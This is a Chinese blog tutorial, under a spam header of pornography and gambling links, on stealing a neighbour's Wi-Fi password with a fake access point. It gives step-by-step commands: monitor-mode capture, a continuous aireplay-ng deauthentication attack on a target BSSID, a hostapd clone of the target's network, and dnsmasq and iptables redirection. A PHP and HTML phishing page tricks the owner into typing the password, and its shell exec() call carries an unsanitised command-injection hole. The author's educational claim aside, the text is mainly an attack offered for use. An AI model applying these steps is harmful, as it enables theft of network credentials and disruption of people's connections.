友情链接: 日本三级片 伦理电影网 通辽市信息网 通辽二手转让 足球比分 球探网足球即时比分 足球比分直播 足球直播 天下足球 大赢家足球即时比分 足球比分网 足球彩票 中国足球 足球直播吧 360足球直播 国际足球 实况足球 实况足球2018 足球竞彩网 天下足球网 bet007足球比分 皇冠足球比分 足球游戏 球探足球比分 体球网足球即时比分 7m足球比分 足球比赛 大赢家足球比分 足球彩票14场胜负 足球开户 直播吧足球 足球规则 澳门足球博彩 90win足球比分 天下足球直播 足球比赛直播 中国足球队 足球预测 足球现场直播 中国足球彩票网 国际足球新闻 足球赔率 足球外围 足球比赛规则 足球比分188 足球直播网站 足球赛事 第一足球网 90分钟足球网 足球即时比分网 足球视频直播 足球大赢家 直播足球 足球推荐 彩票菠菜 菠菜体育投注 菠菜信息网 白菜网址 菠菜导航 菠菜导航 彩票会员注册 菠菜网站 白菜网址 白菜评级 三级片在线 韩国三级片
讲讲伪造无线路由器错误信息来获取无线密码的方法 | 路由全搜索网

路由器密码
返回首页

讲讲伪造无线路由器错误信息来获取无线密码的方法

时间:2014-07-12 00:57来源: 路由全搜索网 作者: 阅读:1,181 views 评论:0条

前言:
这篇文章出于我前段时间的一个想法,就是通过伪造无线路由器错误信息来欺骗机主,然后取得无线密码。后来就不断地试验实践,最后成功了,就有了今天的这篇文章,高三比较忙,所以弄了这么久。当然我不是为了教会大家破解别人的无线网络而写这篇文章,只是为了让大家了解无线网络的安全问题和交流技术,知道这种技术的原理,才能避免被攻击。为了便于大多数读者理解,我尽量没有使用很多专业词汇,可能不够严谨,望见谅!

本文使用了以下这些开源软件,在这里感谢这些软件的开发者:
aircrack-ng
dnsmasq
doc
lighttpd
php

 

overview:
首先简略地说说基本的思路,使用airodump-ng查看有那些客户端正在使用无线网络,然后通过aireplay-ng持续攻击某个AP,使该客户端保持可以搜索到自己的AP,但是又连接不上的状态。这时我们就马上伪造一个SSID和该AP相同不加密的AP,因为普通的用户都是不懂技术的,正在和MM聊得欢,突然就断开了,这该多恼火~这样一般该机主就会下意识地点击连接我们这个伪造的AP,然后轻而易举地连接上了。这时机主回到QQ,诶~怎么还是连接不上?然后就打开浏览器随便访问一个网络地址测试一下,这时我们就要让他打开事先准备好的网页,说他的AP出错误了云云,然后然他输入无线密码来重启无线路由器排除故障,他一着急,就输入了自己的无线密码啦~这时密码就会被提交到我们电脑上的php,然后php就把这个密码写入某个文件保存起来,哈哈!不费吹灰之力对吧?然后我们就停止对他AP的攻击,神不知鬼不觉地~机主见恢复正常了,就把这小插曲抛诸脑后啦!这里面也有一点社会工程学的意思。相关的原理和细节我在后面慢慢和大家叙述。
本文以安装了xubuntu12.04.3的笔记本电脑为系统环境,前段时间我安装了xbuntu13.10,结果各种不稳定各种错误,在Hacking的时候居然在service里面找不到Network-manager,导致Hacking的时候网卡被关闭。不得不感叹Ubuntu变得越来越用户友好,但是却越来越难配置。所以我回到了xubuntu12.04,后来我也用过ArchLinux,很轻量很快速,可以轻易配置整个系统。但是为了简单起见,本文还是使用了ubuntu作为系统环境。行首是”#“代表是使用超级用户运行该命令,这都是约定俗成的。不多说,另外配置文件和网页代码的内容我都用代码框框起来的了,需要执行的指令则是用黄色加亮。

一些命令的用途:
airmon-ng:方便地将网卡配置成攻击时所需监听模式(monitor mode)。
airodump-ng:监听无线网络,查看有那些活动的无线网络。
aireplay-ng:对对方无线网络进行注入攻击,这里用来使客户端断线。
dnsmasq:提供一个内网DNS,以及dhcp服务。
lighttpd:提供一个Web服务器,用来显示我们伪造的错误信息页面。
php-cgi:lighttpd通过fastcgi连接到php,用来获取并保存用户输入的信息。
iptables:配置防火墙,因为hostapd要用到NAT(网络地址转换)
hostapd:一个软AP,等于把你的电脑变成一个无线无线路由器

 

基本流程如下图所示,这里先解释下hack的基本流程:

 

监听无线网络找到攻击目标》攻击目标使其断线》机主连接到伪造的AP》机主客户端发出dhcp请求》dnsmasq接收到机主的请求,返回网络配置信息,DNS服务器和路由的IP都设置为伪造AP的IP》机主收到dnsmasq返回的信息,配置网络成功》机主试图访问http://www.53tusiji.cn,机主的浏览器向dnsmasq查询域名信息,dnsmasq返回正确的IP地址xxx.xxx.xxx.xxx给机主的浏览器》机主的浏览器开始连接xxx.xxx.xxx.xxx》数据包经过伪造AP时,iptables把数据包的目标地址转换成本机,这样无论机主试图访问什么主机,最后都会连接到伪造AP里面的Web服务器lighttpd》lighttpd收到请求,用过rewrite重定向到伪造的错误页面,这样无论机主请求的是什么页面,最后都会访问到我们伪造的错误页面》用户输入无线密码》lighttpd把用户输入的数据传送给php,php把密码写入到/var/www/password。
开始工作:
首先当然是切换到超级用户:
$sudo -s

 

安装所需全部软件:
#apt-get install aircrack lighttpd dnsmasq php5-cgi

停止network-manager,以免干扰我们的操作:
#service network-manager

 

下载相关文件:
访问http://pan.baidu.com/s/1mgI4bv6 ,下载全部文件备用

开启lighttpd的php支持:
#lighttpd-enable-mod fastcgi-php

 

开始配置相关程序,为了方便大家我已经把一切都做好了。
复制dnsmasq.conf到/etc/dnsmasq.conf
复制lighttpd.conf到/etc/lighttpd/lighttpd.conf
复制hostapd.conf到/etc/hostapd/hostapd.conf
复制index.html,passwd.php到/var/www/

编辑/etc/php5/cgi/php.ini,找到这一行:
;cgi.fix_pathinfo=1

把最前面的“;”号去掉,保存,这个配置选项是更改php的目录信息,使最后php写入的密码文件放在正确的目录下(即/var/www/)。

设置目录权限,这是为了让php可以写入密码文件/var/www/password:
#chmod 777 /var/www/ -R

重新启动相关程序:
#killall php-cgi
#service dnsmasq restart
#service  lighttpd restart

测试lighttpd:
在firefox里面访问http://127.0.0.1,测试网页是否能够正常显示,然后再访问http://127.0.0.1/xxxxxx,看看是否还能打开错误提示页面。因为到时你并不知道用户会打开什么网站的什么页面,假设到时机主在浏览器里面访问的是http://www.luyouqiwang.com/tplink/ ,因为我们搭建的“网站”并没有.help/source这个文件,就会出现404错误,为了避免这个问题,所以我就使用了rewrite技术,也就是地址重写技术。这样用户只要是访问我们搭建出来的“网站”,无论在IP地址后面输入什么东西,都会访问到我写的错误页面index.html。有意思吧?

 

rewrite配置的细节在lighttpd.conf里面:

url.rewrite=(
“^/passwd.php/?(.+)” => “$0″,
“^/(.+)”=>”index.html”
)
这里rewrite规则用了perl的正则表达式,以上配置的意思是:如果url不是以passwd.php开头的,全部重写到index.html,passwd.php是用来保存密码的,我们当然不能重写它的地址。关于passwd.php的内容我们接下来就解释。

 

测试php:
这里随手输入一个密码看看,我输入了:”123456789“
这里的细节可以查看index.html文件,我在里买创建了一个表单:

 

<form action=”passwd.php” method=”">
<input type=”password” name=”passwd” value=”" />
<input type=”submit” name=”" value=”确认重启” />
</form>

表单里面有一个密码输入框,一个提交按钮,当我们在密码输入框里面输入密码“123456789”,点击“确认重启”按钮后,密码输入框里的内容就会被提交到”passwd.php“,这是浏览器就会打开一个地址:“http://127.0.0.1/passwd.php?passwd=123456789”,地址后面的?passwd=123456789就是密码数据,然后我们就要想办法把这个密码数据保存下来。
具体是怎么保存的呢?可以查看passwd.php,里面有这么两行:

 

$com = “touch password && echo $_GET[passwd] >> password”;
exec($com);

用到了php的exec()函数,这个函数就等于一个系统shell程序,可以在里面运行系统命令,这里运行了 “touch password && echo $_GET[passwd] >> password”
这篇文章的读者应该都清楚这条命令的意思,&&前面的 ”touch password“就是检测是否存在“password”文件,如果不存在则新建一个,&&后面的命令用到了$_GET[passwd],这个的作用就是获取url后面passwd参数的内容,因为我们访问的url为“http://127.0.0.1/passwd.php?passwd=123456789”,也就等于获取passwd=123456789里面的“123456789”,然后”echo $_GET[passwd] >> password“就等于把字符串“123456789”追加到文件“password”的末尾。

 

然后显示错误信息:

echo(“<h1>很不幸!进程出错!</h1>”);
echo(”
请手动关闭路由器电源,两小时后重试!故障应很快解除。
“);

这里我耍了小花招,因为我们也没有办法真的让机主的无线路由器重启,只能让他自己关两个小时咯!当我们搜索不到机主的无线路由器时,我们就知道机主已经输入了密码并且手动关闭了电源了。然后我们就可以收工啦!

查看密码写入是否成功:
#more /var/www/password
显示123456789,就表示我刚才输入的密码123456789被保存到/var/www/password这个文件里面了,php配置成功啦!
OK!伪造的错误页面能运作了,继续下一步。

 

设置网卡为监听模式:
#airmon-ng start wlan0
airmon-ng其实是一个shell脚本,为了方便配置无线网络而编写的,命令运行后就会多出一个”mon0”设备,这个设备是在wlan0的硬件基础上虚拟出来的,这时不影响你继续使用原来的wlan0,好用吧?
开始抓包监听:
#airodump-ng mon0

 

慢慢等候,抓到的包会越来越多,然后找一个信号比较好的,机主使用比较活跃的AP,上面Data这一栏下如果在跳动,就说明有人在使用这个无线路由器。
记下目标AP的ESSID和BSSID,这在我们接下来伪造路由器和注入攻击有用。

 

编辑/etc/hostapd/hostapd.conf,找到这一行:

 

ssid=test
test改成目标ESSID(也就是无线路由器名),我这里改成wifi-XWZ
然后找到这一行:

interface=wlan1
把里面的wlan1改成你的无线设备名,本文使用的无线网卡是wlan0,就改成wlan0 ,保存。
启动我们的伪造AP:
#hostapd /etc/hostapd/hostapd.conf

设置wlan0的ip地址,不然dnsmasq的dhcp功能会失效:
#ifconfig wlan0 192.168.1.1/24
dhcp就是动态主机配置协议,用来自动配置网络,自动分配无线地址的,现在的设备默认都是使用dhcp分配地址了,如果没有安装dhcp服务器,那么无线设备就无法成功连接到我们伪造的无线路由器。
关于dnsmasq的dhcp配置可以看到dnsmasq.conf里面这两行:

dhcp-range=192.168.1.2,192.168.1.100,255.255.255.0,12h

这一行配置了分配出去地网络地址范围是192.168.1.2到192.168.1.100,还有子网掩码,还有租约时间是12h也就是12小时,这个不重要,这里不多说。

dhcp-option=option:router,192.168.1.1

 

这一行配置了分配出去的网络配置信息中默认路由的IP地址,这里设置为伪造的路由器的IP地址“192.168.1.1”。那么路由有什么作用呢?路由就是用来转发网络数据包的设备,来实现不同网段的网络互连。有一部电脑的内网IP地址为192.168.1.5,子网掩码为255.255.255.0,想访问IP地址12.12.12.12,这时它的设备就通过子网掩码计算出12.12.12.12和它不是在同一个子网里面的,不能直接通信,它就直接把数据发送到默认路由192.168.1.1,让路由器帮它转发。
这里面还有一个DNS的知识,DNS就是域名系统的意思,简单说就是把域名转换成IP地址的服务,因为人类对数字不敏感,访问网站的时候要记住一串IP地址太麻烦了,所以就有了DNS,比如你在你的浏览器里面访问www.luyouqiwang.com,那么你的浏览器就会先连接到DNS服务器,查询到www.luyouqiwang.com对应的IP地址为119.75.218.70,然后浏览器就开始和119.75.218.70上服务器通信,整个DNS查询过程不需要人工干预,而当你的浏览器访问不了DNS服务器的时候,你也就无法正常上网咯!而我们并不打算让连接到伪造路由器上的客户端访问外网的DNS服务器,所以直接在伪造的路由器上面搭建一个DNS服务器。关于DNS服务器的配置,dnsmasq这个软件默认就已经可以工作了,不需要额外的配置,这里就不多废话了。
设置网络地址转换,让所有数据包到返回到本机:
#iptables -t nat -A PREROUTING -s 192.168.1.0/24 -i wlan0 -j DNAT –to 192.168.1.1
由于从机主在DNS服务器上面查询到的IP地址五花八门,但是我们只希望他访问到我们搭建的获取密码的”网站“,所以我就使用了NAT技术,把所有来自wlan0,网段192.168.1.1——192.168.1.254的数据包的目的地址都改为192.168.1.1,也就是伪造的路由器的IP地址,换句话说,无论他访问什么IP地址,加上rewrite技术,机主是无论如何都会访问到我们搭建的”网站“,然后就把密码送上。
万事俱备,只欠东风,你得先让别人的手机断线,别人才有可能来连接你伪造的无线路由器对吧?然后我们开始攻击目标AP,其中参数-a后面的就是前面要你记下的目标路由器的BSSID
#aireplay-ng mon0 -0 0 –ignore-negative-one -a D4:B1:10:F5:2D:34

 

等待吧!这需要一点耐心和运气,等到“鱼儿”上勾后,查看”送“给你的密码吧:
#more /var/www/password

 

PS:本来想到可以用DNS泛解析的,就是让所有DNS查询请求都返回本机地址(192.168.1.1),可是搞不定。好像aircrack-ng包里面的airbase-ng都可以创建一个软无线路由器,但是好像在我的机器上工作不怎么正常,就没研究。另外为了能够解析DNS,你的机器首先要连接上网络。天冷了,手指太冻,错别字应该有不少,大家见谅,加上语文水平也不好,表述得有点混乱,还请大家多多指教!

转载请保留出处: http://lyqss.net/luyouqimima/597/

分享到QQ空间
------分隔线----------------------------
相关文章

评论: